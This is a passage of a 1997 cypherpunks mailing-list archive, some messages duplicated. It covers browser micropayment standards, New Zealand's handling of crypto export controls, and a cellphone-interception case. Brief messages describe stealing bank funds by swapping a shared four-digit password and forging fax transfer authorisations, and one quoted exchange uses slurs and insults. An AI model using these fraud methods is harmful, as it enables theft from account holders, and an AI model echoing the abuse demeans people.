1. an html tag that indicates how much a link costs, probably in
the <a href="" cost=xx> type syntax

2. modification of http to support a payment mechanism, by sending
a token.

3. browser "piggy bank".

there are other standards, such as how a person might get
cash into their piggy bank etc., but most would be related to
the above items. 

notice that we don't really need a good interoperable standard
to begin with. often Netscape and MS invent tags that are not
interoperable between them, and later standardization arrives
at a consensus / convergence. as I see it, I think the browser
manufacturers should just pick their favorite digital cash
scheme (cybercash, digicash, whatever) that is easiest to
implement, and do so, with the intention of integrating other
schemes at a later date.

>Currently every vendor of payment schemes has made it proprietary in some
>way.  (At least the ones I have seen.)  This means that if the user visits
>three different web pages, each using a payment scheme from a different
>vendor, that user has to be signed up with all of those vendors.  (Or at
>least have their helper apps.)

hence, a good opportunity for the browser manufacturer to remove
all these additional complications and make it point-and-click
simple. I agree, this is not going to be a total nonbrainer. but
better the browser manufacturer do it for their software, allowing
everyone who uses it to benefit, than every single cash user
in cyberspace trying to replicate the same difficult series of
steps to get their cash going.

>I will not even go into the hastles of trying to set it up from the server
>side.  (The last payment scheme I installed (cybercash) was not very well
>documented.  The documentation on the web site contradicted the software
>with the tar file.  (And both were wrong at some point.))  Until these
>payment schemes are easier to deal with for the web page provider, they
>will not catch on.  (There will also need to be more support for Internet
>service providers with multiple vendors all on different payment schemes.)
>
>Until there is a single standard hammered out, micropayments will still be
>few and far between.

generally, that's what I'm calling for, some ad hoc standards being
put into place immediately by the browser manufacturers, in the
same way new tags are always being invented. standardization generally
results *after* an initial, minimally constrained innovation phase, imho.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 20 Jan 1997 13:42:54 -0800 (PST)
To: Alan <alano@linda.teleport.com>
Subject: Re: microcurrency: Netscape vs. Microsoft
Message-ID: <199701202142.NAA19139@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[microcurrency]
>It will also not catch on until there are better standards involving
>microcurrency transactions amongst the vendors.  It would also help if
>there was a single interface (or "helper app") for whatever vendor you
>decided to go with.

as I see it, I think there are a few key standards that need 
to be devised: 

1. an html tag that indicates how much a link costs, probably in
the <a href="" cost=xx> type syntax

2. modification of http to support a payment mechanism, by sending
a token.

3. browser "piggy bank".

there are other standards, such as how a person might get
cash into their piggy bank etc., but most would be related to
the above items. 

notice that we don't really need a good interoperable standard
to begin with. often Netscape and MS invent tags that are not
interoperable between them, and later standardization arrives
at a consensus / convergence. as I see it, I think the browser
manufacturers should just pick their favorite digital cash
scheme (cybercash, digicash, whatever) that is easiest to
implement, and do so, with the intention of integrating other
schemes at a later date.

>Currently every vendor of payment schemes has made it proprietary in some
>way.  (At least the ones I have seen.)  This means that if the user visits
>three different web pages, each using a payment scheme from a different
>vendor, that user has to be signed up with all of those vendors.  (Or at
>least have their helper apps.)

hence, a good opportunity for the browser manufacturer to remove
all these additional complications and make it point-and-click
simple. I agree, this is not going to be a total nonbrainer. but
better the browser manufacturer do it for their software, allowing
everyone who uses it to benefit, than every single cash user
in cyberspace trying to replicate the same difficult series of
steps to get their cash going.

>I will not even go into the hastles of trying to set it up from the server
>side.  (The last payment scheme I installed (cybercash) was not very well
>documented.  The documentation on the web site contradicted the software
>with the tar file.  (And both were wrong at some point.))  Until these
>payment schemes are easier to deal with for the web page provider, they
>will not catch on.  (There will also need to be more support for Internet
>service providers with multiple vendors all on different payment schemes.)
>
>Until there is a single standard hammered out, micropayments will still be
>few and far between.

generally, that's what I'm calling for, some ad hoc standards being
put into place immediately by the browser manufacturers, in the
same way new tags are always being invented. standardization generally
results *after* an initial, minimally constrained innovation phase, imho.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 20 Jan 1997 11:58:37 -0800 (PST)
To: Hal Finney <hal@rain.org>
Subject: Re: microcurrency: Netscape vs. Microsoft
In-Reply-To: <199701182228.OAA00244@crypt.hfinney.com>
Message-ID: <199701201955.LAA15540@netcom4.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> notice how much crypto really caught on when Netscape 
>> incorporated it, and how this action alone did more for
>> the proliferation of crypto in cyberspace, almost, than
>> all prior efforts combined. I think that microcurrency
>> will be unleashed in a very similar way.
>
>I assume you are referring to secure web connections via SSL in talking
>about crypto.  In that case there was a very strong pent up demand for
>the service.  Customers were afraid to send credit card numbers and
>other personal information across the web.  Sellers were pressuring the
>net server companies to do something to quell these concerns so on-line
>selling could succeed.  Netscape did it, and in the grand tradition of
>the net, implementation beat design and SSL defeated SHTTP.

neither has "beat" the other at this point. but this does show something
I have always believed: companies should just invent ad-hoc, quick-and-dirty
standards if full standards are not immediately available. it makes no
sense to me to delay the introduction of some new feature because there
isn't industry standardization. the case is often that the initial 
ad-hoc standards will tend to converge into a better standard down
the road. I don't see standards as "forever". standards should be
viewed as stepping stones to better standards. 

hence I think netscape and/or MS should invent a "plug and play" 
(i.e. trivial to use) micropayment standard immediately, regardless
of what industry standardization does not or will exist. it wouldn't
be pretty at first but standardization to better interfaces could
ensue later. the main thing is to get it on the table, and get
people using it, to create the demand. services are rarely developed
unless there is a demand. hence I suggest that a *rudimentary* form
of the service be first devised and implemented asap to increase
demand for one with much more finesse.

  In its early
>versions SSL had a lot of problems but it was a good enough solution for
>what it needed to be.

exactly.

>The question is whether there is similar market demand for pay per view
>web pages.

don't think this is a valid question. the whole point of microcurrency
is just decreasing the cost until people hit the page and don't
care about the cost. hence I think there is a guaranteed market, because
with microcurrency you can always shave off your price to virtually
infinitesmal values (say pennies a hit) that will guarantee you will
have at least some audience.

  Do web service operators think they can offer value added
>services which will motivate customers to click through the for-pay link?

I'm imagining just putting a teeny little transaction charge on top
of every single hit that now exists. if it is small enough, consumers
won't care very much.

>There is also the issue of sellers learning to use the various payment
>systems which are out there.  Here again if Netscape and Microsoft would
>just pick one then everyone could standardize on it, which would
>increase acceptance a great deal.

well, pick one payment scheme and then competing companies could
adopt the same standard (but offer competing systems and features)

>Ecash as it is implemented now has the problem that the customer has to
>open a special bank account.  What you need is a payment system where
>you can use your existing VISA card and withdraw cash against it into
>your electronic wallet.  This is pretty close to the FV model but their
>payment system is somewhat clumsy.

exactly. someone who reengineered the whole thing from top to
bottom and made it absolutely trivial to use-- I suspect the future
of the browser wars will belong to the company that does this.
again, I note it might be doable in a plug in, but as I said, I 
think browser manufacturers are eventually going to put it into 
their own code because of its sheer importance.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 20 Jan 1997 13:43:08 -0800 (PST)
To: Hal Finney <hal@rain.org>
Subject: Re: microcurrency: Netscape vs. Microsoft
Message-ID: <199701202143.NAA19163@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>> notice how much crypto really caught on when Netscape 
>> incorporated it, and how this action alone did more for
>> the proliferation of crypto in cyberspace, almost, than
>> all prior efforts combined. I think that microcurrency
>> will be unleashed in a very similar way.
>
>I assume you are referring to secure web connections via SSL in talking
>about crypto.  In that case there was a very strong pent up demand for
>the service.  Customers were afraid to send credit card numbers and
>other personal information across the web.  Sellers were pressuring the
>net server companies to do something to quell these concerns so on-line
>selling could succeed.  Netscape did it, and in the grand tradition of
>the net, implementation beat design and SSL defeated SHTTP.

neither has "beat" the other at this point. but this does show something
I have always believed: companies should just invent ad-hoc, quick-and-dirty
standards if full standards are not immediately available. it makes no
sense to me to delay the introduction of some new feature because there
isn't industry standardization. the case is often that the initial 
ad-hoc standards will tend to converge into a better standard down
the road. I don't see standards as "forever". standards should be
viewed as stepping stones to better standards. 

hence I think netscape and/or MS should invent a "plug and play" 
(i.e. trivial to use) micropayment standard immediately, regardless
of what industry standardization does not or will exist. it wouldn't
be pretty at first but standardization to better interfaces could
ensue later. the main thing is to get it on the table, and get
people using it, to create the demand. services are rarely developed
unless there is a demand. hence I suggest that a *rudimentary* form
of the service be first devised and implemented asap to increase
demand for one with much more finesse.

  In its early
>versions SSL had a lot of problems but it was a good enough solution for
>what it needed to be.

exactly.

>The question is whether there is similar market demand for pay per view
>web pages.

don't think this is a valid question. the whole point of microcurrency
is just decreasing the cost until people hit the page and don't
care about the cost. hence I think there is a guaranteed market, because
with microcurrency you can always shave off your price to virtually
infinitesmal values (say pennies a hit) that will guarantee you will
have at least some audience.

  Do web service operators think they can offer value added
>services which will motivate customers to click through the for-pay link?

I'm imagining just putting a teeny little transaction charge on top
of every single hit that now exists. if it is small enough, consumers
won't care very much.

>There is also the issue of sellers learning to use the various payment
>systems which are out there.  Here again if Netscape and Microsoft would
>just pick one then everyone could standardize on it, which would
>increase acceptance a great deal.

well, pick one payment scheme and then competing companies could
adopt the same standard (but offer competing systems and features)

>Ecash as it is implemented now has the problem that the customer has to
>open a special bank account.  What you need is a payment system where
>you can use your existing VISA card and withdraw cash against it into
>your electronic wallet.  This is pretty close to the FV model but their
>payment system is somewhat clumsy.

exactly. someone who reengineered the whole thing from top to
bottom and made it absolutely trivial to use-- I suspect the future
of the browser wars will belong to the company that does this.
again, I note it might be doable in a plug in, but as I said, I 
think browser manufacturers are eventually going to put it into 
their own code because of its sheer importance.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 20 Jan 1997 09:04:20 -0800 (PST)
To: Casey Iverson <iverson@usa.net>
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE  RELEASE ANNOUNCEMENT)
In-Reply-To: <3.0.16.19970120094321.429718ae@pop.netaddress.com>
Message-ID: <Pine.SOL.3.93.970120120032.20673A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 20 Jan 1997, Casey Iverson wrote:
> Dimitri is a low life piece of Russan shit who is trying to distroy this
> list because he has serious mental
> problems or he is a tool of the NSA.
> 
> What part of his vicious personal and anomyous attacks against  members of
> the list  'are not being read
> correctly'?
> 
> What part of his calling everyone on this list that won't put up with his
> deliberate abuse, "fagots",  'are not being read correctly'?
> 
> If you don't get it, you are a *really dumb fuck* or a KTOM tool.
> 
	You seem to not get it...and most likely a "really dumb ****".

	Have a nice day.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Mon, 20 Jan 1997 09:15:19 -0800 (PST)
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Re: Newt's phone calls
Message-ID: <199701201715.JAA13616@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Sean Roach <roach_s@alph.swosu.edu> wrote in article
<5bv7g8$fhl@life.ai.mit.edu>...
> At 03:44 PM 1/17/97 -0600, Igor Chudov wrote:

> 
> It is limited, both accounts have to have the same password, (four
> character, numeric.)  If I want to transfer funds from another persons
> account to one that I control, all I have to do is change the password on
> one of them to that of the other, transfer funds, and change the password
> back.  By the time that my victim found out, (via the little letter "per
> your request, $xxx was transferred to accnt#123456 from accnt#7890"), I
> would be long gone.

Depending on the country and bank you can probably perform almost
any transfer you like by fax. I moved my pension from one bank
to another simply by sending a fax. I have done similar transactions 
with Swiss, German and UK banks. 

For some reason the fax is considered to be a practically 
infallible authentication device. Quite why is beyond me since
it should be obvious to anyone that all one needs to fake a
fax is a photocopier, document signed by account holder, paste
and scissors. You get everything needed on a signed cheque.



	Phill.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Mon, 20 Jan 1997 09:40:44 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Newt's phone calls
Message-ID: <199701201740.JAA14417@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Sean Roach <roach_s@alph.swosu.edu> wrote in article
<5bv7g8$fhl@life.ai.mit.edu>...
> At 03:44 PM 1/17/97 -0600, Igor Chudov wrote:

> 
> It is limited, both accounts have to have the same password, (four
> character, numeric.)  If I want to transfer funds from another persons
> account to one that I control, all I have to do is change the password on
> one of them to that of the other, transfer funds, and change the password
> back.  By the time that my victim found out, (via the little letter "per
> your request, $xxx was transferred to accnt#123456 from accnt#7890"), I
> would be long gone.

Depending on the country and bank you can probably perform almost
any transfer you like by fax. I moved my pension from one bank
to another simply by sending a fax. I have done similar transactions 
with Swiss, German and UK banks. 

For some reason the fax is considered to be a practically 
infallible authentication device. Quite why is beyond me since
it should be obvious to anyone that all one needs to fake a
fax is a photocopier, document signed by account holder, paste
and scissors. You get everything needed on a signed cheque.



	Phill.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Sun, 19 Jan 1997 15:10:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: The NSA's influence on New Zealand crypto policy
Message-ID: <85371540122743@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


For nearly a year I've been involved in an ongoing battle with several
government departments and the odd intelligence agency in an attempt to clarify
NZ's position on the export of crypto software.  The whole story has now got
about as far as it can go, so I thought I'd share it with others.  I've been
trying to get the media to take an interest in this, but noone really seems to
care... if anyone knows any journalists who might be interested in it, feel
free to pass it on.  I've got more details including names of contact people
and phone numbers in case anyone needs to verify parts of the story.

The main players are:

The Government Communications Security Bureau (GCSB), a New Zealand
    intelligence agency (for US readers, the GCSB is the NZ subsidiary of the
    NSA).  The foremost authority on the GCSB is Nicky Hager, who recently
    published the book "Secret Power" which documents their activities.
The Defence Signals Directorate (DSD), an Australian intelligence agency (the
    Australian version of the NSA).
The Ministry of Foreign Affairs and Trade (MFAT), a New Zealand government
    department.
New Zealand Customs.
Cyphercom Solutions, a New York company which produces financial/online
    commerce systems.
Kiss Audio Video, an Australian video production company.
Orion Systems, a New Zealand company which produces medical information and
    communication systems for transmitting medical information.
Myself (Peter Gutmann) and cryptlib, my free encryption library
    http://www.cs.auckland.ac.nz/~pgut001/cryptlib.html

In April 1996 I got a call from someone who worked for Cyphercom Solutions, a
New York company who wanted to use my cryptlib encryption library in a project
they were working on.  Their lawyers wanted them to obtain an official,
physically exported copy so that there wouldn't be any complications later on
if the source of the software were ever called into question.  The application
involved financial transaction processing, and they had received indications
from the NSA that it would be looked on favourably in terms of getting export
permission.  Somewhat strangely though, they were given the distinct impression
that to get anywhere, they'd need to play ball with the NSA, even though it was
NZ software being exported from NZ, where the NSA should have no jurisdiction.

At this point a brief explanation of the export law situation in NZ is in
order.  The Customs Act of 1996, Section 54, "Prohibited Exports", states that
"The Governor-General may from time to time, by Order in Council, prohibit the
exportation from New Zealand of any specified goods or goods of a specified
class or classes" (followed by a list of specific conditions on prohibitions).
There's no further information in the Customs Act, but NZ Customs have a short
publication "New Zealand Customs Fact Sheet: Export Prohibitions and
Restrictions" which contains, among such curious items as cat skins and a large
list of agricultural products which can't be exported without going via the
appropriate government department, the item "Strategic goods such as computers,
navigation and marine equipment, firearms, ammunition, explosives, military
aircraft and vessels".  The responsible government department is the Ministry
of Foreign Affairs and Trade (MFAT, pronounced "em-fat").  Apparently computer
software comes under the same classification as computers (MFAT extends the
Customs definition of "Strategic goods" to cover "Computer technology,
information security systems, and telecommunications equipment").  The entity
within MFAT which handles this is the International Security and Arms Control
Division, who are advised by the Government Communications Security Bureau
(GCSB), the New Zealand NSA subsidiary.

Once you get past the part where NZ Customs are involved, the whole setup is
run like the mafia.  Nothing is ever written down, everything is done verbally.
Although it took only a paragraph to describe how this works, it took more than
two months of work to find out in practice.  Unless you know exactly who to ask
for information, noone has ever heard of these restrictions.  A search of NZ
legal databases found nothing.  Several IP lawyers had never heard of these
restrictions.  Noone seemed to know anything about any restrictions.  (In an
October newsletter, MFAT retroactively gave themselves jurisdiction over this
area, this is covered further down).

An initial discussion with MFAT revealed that NZ Customs tend to apply
restrictions based on the old COCOM rules, which have been superseded by the
Wassenaar agreement.  For this reason export permits are required for shipments
to certain eastern european countries, certain middle eastern countries, and
the current UN politically-incorrect-country club.  Export to countries other
than that would be unlikely to require a permit.

In May, Cyphercom therefore decided to try to export the software to the US and
Singapore.  Initially MFAT said this was OK.  Then at the last minute they
changed their minds and imposed the following restrictions:

 - No encryption algorithms except single DES.
 - Keysize limited to 64 bits (this is peculiar, I assume it's to stop me from
   using tricks like key-dependant S-boxes and DESX, which I'd discussed in
   email with people in the US some time ago).
 - Definitely no triple DES (this was specifically mentioned).
 - Export limited to object code only (so the key size couldn't be changed).

The text of the message (with a few names removed) is:

  "The Secretary of Foreign Affairs and Trade has no objection to the export of
   the XXX financial package, as detailed in the following application from
   YYY, *provided that* the library of encryption algorithms is limited to DES
   (but not triple DES) and any required hash algorithms, dated 15 May 1996".

In the accompanying description of the library, every single algorithm except
DES and the hash algorithms have been crossed out.  Note that this is for
export to the US, which has its own export restrictions anyway (the same thing
was done for the Singapore export).

Inquiries by lawyers in the US indicated that there had been a flurry of
communication between the NSA and the GCSB over this (as one person - not one
of the lawyers BTW - I talked to put it, "When the NSA says 'Bend over', the
GCSB says 'How far?'").  The NSA might as well have signed the export
(non-)permit themselves.  The story from the US lawyers was that there was
"repeated intervention of the NSA" and that "NZ is out of its depth, it was
terrified of offending the US".

>From the information I've been able to gather the whole thing seems to have
been initiated by the GCSB rather than the NSA, who were afraid to do anything
without NSA approval.  The GCSB went to the NSA and asked them what they should
do, the result was the (non-)permit.  A DSD person also later told a reporter
that the GCSB had gone to the DSD and asked them "Would you allow the export
under these conditions?".  The DSD said "No".

Shortly before this, the Canadian government, which follows the same export
guidelines as New Zealand (dual-use technology under the Wassenaar agreement),
had ruled that cryptlib was exportable to anywhere except the previously
mentioned restricted countries, with no permit necessary, and no need to apply
for a permit:

  "Application No.278466 covering cryptographic software proposed for export to
   England, this software is not controlled according to Canada's ECL.
   Therefore, provided the product noted in this application is not of US
   origin within the meaning of the ECL item 5400, these goods may be exported
   to any country, except Libya and Angola, without an export permit.  Please
   note that most goods to Iraq are still prohibited at this time, as well".

The interesting thing about the Canadian decision was that I was contacted
twice by Canadian export controls people who asked me a number of very detailed
questions about the software, whereas MFAT managed to come to their decision
without ever examining the encryption software or talking to its author.  As
far as I've been able to tell MFAT had very little to do with the decision:
They have to follow the GCSB's advice, and the GCSB won't do anything without
the NSA's permission.

The opinion from lawyers in NZ was that they were acting far outside their
authority.  In any case in late May two copies of the software on 3.5" disks
were sent out by a large accounting firm acting for Cyphercom, one to the US
and one to Singapore as provided for in the export permit.

At about the time the original export appeal was lodged, the GCSB had told
another NZ company, Orion Systems, that they couldn't export a product with the
encryption necessary to protect patient medical data, lab results, patient
referrals, and so on, without obtaining an end user certitificate for each
user.  To sell a copy to just the one overseas site which the inquiry was about
would have required otaining two thousand certifications from all the end
users.  Larger sites with ten thousand users are not unknown.  This meant that
Orion would have had to somehow obtain 2000 signed declarations from users just
to allow the exchange of medical records (this tactic has also been
successfully used by the US government to effectively block certain software
exports by US firms).  Orion didn't even bother going to MFAT, because if the
GCSB required these impossible-to-meet conditions then going to the next level
down in the chain of command would make no difference.

After chasing my way around a number of government departments I talked to some
people in the Ministry of Commerce who advised that the best way to resolve
this craziness was to write to MFAT and inform them that the Canadian
government had ruled that the library was freely exportable and that there was
no reason for them blocking the export, and ask under what authority the export
was being blocked.  This letter was sent to MFAT in mid-September
(incidentally, the way government departments refer to the GCSB is wierd. Noone
ever says "the GCSB", it's always "another government department" or "an
organisation which I won't name", as if there was some belief that using The
Dreaded Name will cause evil to descend upon the person who utters it, much
like the use of the work J*h*v* or Lovecraft's "He Who Is Not To Be Named").

Anyway, at this point, things started to get weird.  At about the time I wrote
the letter, I was FedEx'd an NDA sent from lawyers representing PGP Inc (a US
encryption software vendor) to Orion Systems, sent in a standard FedEx letter
envelope.  It was intercepted by NZ Customs and opened, and the contents
examined, before I got it.  This wasn't the usual random (and quite rare)
"Examined by Customs" spot check, the letter had a large red "Customs - Hold"
sticker on it with an LAX flight number, so I assume they knew in advance what
they were looking for.  NZ Customs couldn't tell me why it was intercepted, but
seemed a bit surprised that the letter had been opened.  They said that they
may have been "acting on information".

In early October, about a fortnight after I sent the letter to MFAT questioning
the export refusal and asking for clarification on what law they were using to
block the export (and many months after the export itself), the Australian
parent of the US company who wanted the export got a call from the Australian
Ministry of Defence (it was actually the DSD, but they generally identify
themselves as Ministry of Defence just like NSA employess are always identified
as Department of Defence rather than NSA).  This company, Kiss Audio Visual,
are a video production house who have nothing at all to do with encryption
software (or, in fact, anything but video production and graphics design, which
they are very good at).  They were called by Alan Owen of the DSD who said that
they had been informed that NZ Customs had intercepted a shipment containing a
high-security encryption product which was being illegally exported from New
Zealand.  According to the story, when NZ Customs went back to the party who
exported the software, they claimed it was on behalf of Kiss.  The Managing
Director of Kiss called the Ministry of Defence to make sure this was actually
for real, and they confirmed that it was.

This story has several very large holes in it:

- NZ Customs never intercepted anything.  The package containing the disks
  arrived in the US unopened, there was no "high-security encryption product"
  on the disks, and a Customs person has verified that NZ Customs have never
  intercepted any crypto software shipped overseas.

- There was no illegal export of any kind.  All the necessary permissions had
  been obtained from MFAT before the disks were shipped.

- The export was performed by Cyphercom, not Kiss.  Kiss happens to be the
  parent company, but (apart from a few business discussions carried out over
  international phone links), there was no other connection between Kiss and
  Cyphercom.

Alan said that this export had very serious consequences, and that they would
be coming to Melbourne to talk to Kiss at 2pm the next day.  The Kiss Director
immediately called Cyphercom in the US, and they discussed having serious
quantities of lawyers present at the meeting, and taking the whole story to the
media.

The visit was cancelled without any explanation.  Who says governments never
listen to their citizens?

(The DSD side of the story is that they were rather busy that day and didn't
have time to carry out their investigation).

The implications of this are interesting.  Despite the fact that MFAT had
already (in effect) denied permission for the export, someone with the ability
to listen in to international phone conversations had used discussions about
the export to fabricate a story about NZ Customs with which the Australian
government could harass Kiss, who had done nothing wrong and in fact had
nothing to do with the whole affair (unfortunately I don't have any proof of
the phone-conversation monitoring, but I can't see how anyone could possibly
have connected Kiss with Cyphercom except for the phone conversations - they
simply have nothing else in common).  Apparently whoever was pulling the
strings saw it necessary to bypass MFAT entirely in an attempt to suppress the
encryption software (this does not inspire confidence in the working
relationship between MFAT and the unnamed agency.  The identity of the unnamed
agency was later revealed by the DSD - see below).

Also in October, an article "Trade in Strategic Goods - An Update" in MFAT's
"Business File" publication, Vol.3, No.7 made specific mention that MFAT were
in charge of controlling the export of encryption hardware and software.  It's
pretty certain that this special mention was motivated entirely by attempts to
export cryptlib, because MFAT stated in a letter to me that they'd never
encountered anything like this before, so the claim that:

  "..the most commonly affected exports from New Zealand are of encryption
   hardware and software..."

is distinctly peculiar.  The last time anyone checked (a KPMG report from
mid-1994) NZ had no restrictions on the export of crypto.  Some time between
mid-94 and October 1996, export controls (or at least some vague mention of
controls) appeared, with MFAT having jurisdiction.  I suspect this was in
October 1996, *after* the whole export/non-export fiasco took place.

In any event the article contains some rather curious comments.  "Run-of-the
mill exports have usually been processed within 48 hours".  MFAT have now taken
9 months without showing any results, causing considerable financial hardship
for Cyphercom who are unable to ship a product or even obtain a sample copy for
demonstration to customers.  "New Zealand... is helping to limit the spread of
increasingly sophisticated military technology and weapons of mass
destruction".  Whether software to protect financial transactions and medical
records counts as "sophisticated military technology" or "weapons of mass
destruction" is unclear.

In late October I called MFAT to see what the delay was in replying to my
earlier letter, and received a reply the following week.  In their reply, MFAT
stated that the export (non-)permit was in fact not final, and was still under
consideration, which was at odds with what they had told Cyphercom and with the
wording of the permit itself (see above).  The letter also states:

  "We made it clear that it would take some time, as the application dealt with
   a relatively new area in terms of our export controls, and was in a rapidly
   changing and advancing field.  We... are currently discussing it and other
   issues it raises with relevant government departments".

(the "relevant government department" is the GCSB, this has been confirmed by
the DSD).  I interpret this paragraph to mean "We're making up the rules as we
go along".  The Canadian government certainly didn't seem to have any of these
problems when they covered the same issue.

MFAT declined to answer my question as to whether this portion of NZ's foreign
trade policy was being controlled by US intelligence agencies.

In early January 1997, Kiss were informed by the same Ministry of Defence/DSD
person (Alan Owen) that he and an associate would again be flying in from
Canberra to talk to them, using as justification the same fictitious story
about NZ Customs that they had used before.  They spent about two hours at
Kiss, saw that they were indeed a video production house (and nothing but a
video production house), and left.  Before they left, they told the Kiss people
that the source of the story about NZ Customs was "their counterparts in NZ"
(the GCSB).  Kiss had a lawyer present to witness this.

The implications of this are pretty scary.  The GCSB first used their position
to impose impossible-to-meet conditions on Orion and influence MFAT to
indefinitely delay export of software which isn't export-restricted anyway (or
at least not by any known NZ law) and which the Canadian government had already
ruled wasn't export restricted.  However, not content with this, they then fed
a fictitious story to the Australian government to convince them to begin an
investigation into a company which had done nothing wrong, and had very little
to do with the whole issue.

Foreign competitors of NZ companies will ship their encryption products within
15 minutes of a credit card order being received.  The GCSB, by employing all
sorts of devious measures, has managed to suppress distribution of the same
software by NZ individuals and companies.  Under their influence, MFAT have now
spent nine solid months brooding over the export of one single copy of
equivalent encryption software without showing any results.  This has had the
effect of protecting overseas markets for exploitation by foreign
competitors... by a ministry supposed to be in charge of promoting NZ trade.

To summarise, the situation is as follows:

1.There is absolutely no way that anyone could reasonably be expected to find
  out about what to do with crypto software in New Zealand.  NZ Customs have
  been extremely helpful throughout this affair, but had to keep deferring to
  MFAT, where everything stops.  Even the people charged with enforcing export
  conditions don't know what it is they're supposed to be enforcing.  If it
  wasn't for a number of lucky coincidences and occasionally knowing or running
  into the right people, I still wouldn't know any more about the situation.

2.Anyone trying to follow the vaguely-defined, possibly nonexistant rules, at
  least in New Zealand, is opening themselves up to government harassment, no
  matter how hard they try to follow whatever rules and regulations someone in
  the government comes up with.  The only safe way to distribute crypto
  software seems to be to either distribute it over the Internet, or to make
  sure you have enough media and political contacts to raise hell over any
  ensuing mail interception, possible phone tapping, government investigations,
  bogus stories about crimes being committed, and other niceties which may crop
  up.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Mon, 20 Jan 1997 09:31:14 -0800 (PST)
To: "cypherpunks" <greens@hiwaay.net>
Subject: Using the political opportunity Was: Newt's phone calls
Message-ID: <199701201730.JAA14060@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Sarah L. Green <greens@hiwaay.net> wrote in article
<5bo2df$7ui@life.ai.mit.edu>...
> On Thu, 16 Jan 1997, Phillip M. Hallam-Baker wrote:
> > 
> > It was a conference call but over a cellular phone. Martin had hacked
his
> > Radio Shack Scanner using a well known technique. He had a radio ham
> > license.
> > 
> Phill
> 	Actually I'd love to see this go to court & have the law itself 
> tossed out.  How many years have the airwaves been free?  Now it is 
> illegal to listen on the cellular frequencies.


Well I would love to see the case go to court but I prefer to see 
someone else being harassed.

I don't imagine for a minute that anyone will want to take it to
court though. Newt can hardly want his crookery to continue to
be before the public eye. He wants it buried as soon as possible 
so he can make similarly "arcane" charges "nobody understands"
against Clinton.

Interestingly the tax law that Newt broke was the use of non profit
funds for political purposes. Newt should know all about these since
the Republicans used these laws to shut down political comment by
the likes of the Sierra club etc under Reagan. I know several
people who used to be involved in non-profits who either resigned 
or changed the status of the group because the cost of administration
and risk of politically motivated prosecution was not worth the
tax advantages.

Given the "butterfly under the wheel" nature of the Republican
attack I would expect jury nullification in a big way. Meanwhile
there would be several weeks of questions asking why Newt is not
being prosecuted, only the Martins.

Despite the fact that I don't think the Democrats are smart enough
to mount such a conspiracy it would be a bloody good one if they 
had done.


I think that the challenge the crypto lobby must take on is to 
use the event to raise public consciousness for crypto rights. What
we probably need is a single issue lobby group that the media 
can call on for this and only this issue and nothing else. The
energies of the CDT and EFF are inevitably spread between this and
other issues such as the CDA. The problem is that a journalist
does not immediately think EFF or CDT when a cellphone case comes 
up. A single issue crypto lobby could fill that purpose.


		Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Mon, 20 Jan 1997 10:12:43 -0800 (PST)
To: cypherpunks <greens@hiwaay.net>
Subject: Using the political opportunity Was: Newt's phone calls
Message-ID: <199701201812.KAA14891@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Sarah L. Green <greens@hiwaay.net> wrote in article
<5bo2df$7ui@life.ai.mit.edu>...
> On Thu, 16 Jan 1997, Phillip M. Hallam-Baker wrote:
> > 
> > It was a conference call but over a cellular phone. Martin had hacked
his
> > Radio Shack Scanner using a well known technique. He had a radio ham
> > license.
> > 
> Phill
> 	Actually I'd love to see this go to court & have the law itself 
> tossed out.  How many years have the airwaves been free?  Now it is 
> illegal to listen on the cellular frequencies.


Well I would love to see the case go to court but I prefer to see 
someone else being harassed.

I don't imagine for a minute that anyone will want to take it to
court though. Newt can hardly want his crookery to continue to
be before the public eye. He wants it buried as soon as possible 
so he can make similarly "arcane" charges "nobody understands"
against Clinton.

Interestingly the tax law that Newt broke was the use of non profit
funds for political purposes. Newt should know all about these since
the Republicans used these laws to shut down political comment by
the likes of the Sierra club etc under Reagan. I know several
people who used to be involved in non-profits who either resigned 
or changed the status of the group because the cost of administration
and risk of politically motivated prosecution was not worth the
tax advantages.

Given the "butterfly under the wheel" nature of the Republican
attack I would expect jury nullification in a big way. Meanwhile
there would be several weeks of questions asking why Newt is not
being prosecuted, only the Martins.

Despite the fact that I don't think the Democrats are smart enough
to mount such a conspiracy it would be a bloody good one if they 
had done.


I think that the challenge the crypto lobby must take on is to 
use the event to raise public consciousness for crypto rights. What
we probably need is a single issue lobby group that the media 
can call on for this and only this issue and nothing else. The
energies of the CDT and EFF are inevitably spread between this and
other issues such as the CDA. The problem is that a journalist
does not immediately think EFF or CDT when a cellphone case comes 
up. A single issue crypto lobby could fill that purpose.


		Phill







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
